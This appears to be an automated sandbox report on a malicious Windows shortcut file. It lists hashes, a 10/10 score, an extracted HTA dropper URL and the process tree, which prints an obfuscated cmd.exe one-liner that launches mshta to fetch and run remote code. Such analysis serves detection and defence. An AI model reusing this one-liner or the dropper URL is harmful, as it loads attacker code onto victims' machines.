Analysis
- max time kernel
58s - max time network
44s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
21/08/2026, 16:52
Static task
static1
Behavioral task
behavioral1
Sample
DOC-XVB96K.lnk
Resource
win10v2004-20260513-en
4 signatures
60 seconds
Behavioral task
behavioral2
Sample
DOC-XVB96K.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
60 seconds
General
- Target DOC-XVB96K.lnk
- Size 1KB
- Sample260821-vdf78atfnc
- SHA256 ce710b5fcda1024c0b757e6d92d6b1b21e3312ec04b50e8917a013ceff9e224a
- MD5 ed1911af6b4d9f8f8d31cf2261b9e464
- SHA1 d87f8b678aaa8666478ac0a7b409fa409cbf2096
- SHA512 b8bffc815b1a18787594babb407adbe1e7065c5b00305ee6964ef7357302019760e7786419229e0a9ae23fe1d6a40513e223fe349b1a96d990810be201a57b96
- TLSH T1273124106EFD0624F3B79F7685BB572089BAB9568D10C61D01508A4D5432A01E67BF67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4164 cmd.exe 4848 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4164 wrote to memory of 4848 4164 cmd.exe 90 PID 4848 wrote to memory of 2780 4848 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-XVB96K.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4164 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /V:on /c "set SAy=msh&&set LoD=ta&&start "" !SAy!!LoD! https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4848 -
C:\Windows\System32\mshta.exemshta https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D13⤵PID:2780
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